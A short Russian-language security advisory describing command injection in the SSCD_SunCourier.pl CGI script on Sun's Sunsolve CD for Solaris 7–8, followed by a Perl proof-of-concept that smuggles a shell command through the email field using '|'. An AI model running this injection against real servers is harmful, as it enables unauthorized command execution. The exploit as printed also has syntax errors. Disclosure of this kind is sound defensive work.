Sunsolve CD — часть пакета Solaris Media pack. 

CGI cценарий SSCD_SunCourier.pl, поставляемый с SCD, недостаточно
проверяет переданные пользователем данные,
в частности не удаляются специальные символы типа
|. Пользователь, передающий специальный адрес электронной почты к сценарию может выполнять произвольные команды с разрешениями выполняемой программы. 

Уязвимость найдена в Sun Solaris 7.0-8.0

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
ua = new LWP::UserAgent;
$ua->agent(«Scrapers»);
my $req = POST ‘http://sunsolveCD.box.com:8383/cd-cgi/sscd_suncourier.pl’,
[
step => «submit» ,
emailaddr => «foo\@bar.com| id > /tmp/foo|»];
$res = $ua->request($req);
print $res->as_string;
print «code», $res->code, «\n»;



Оставить мнение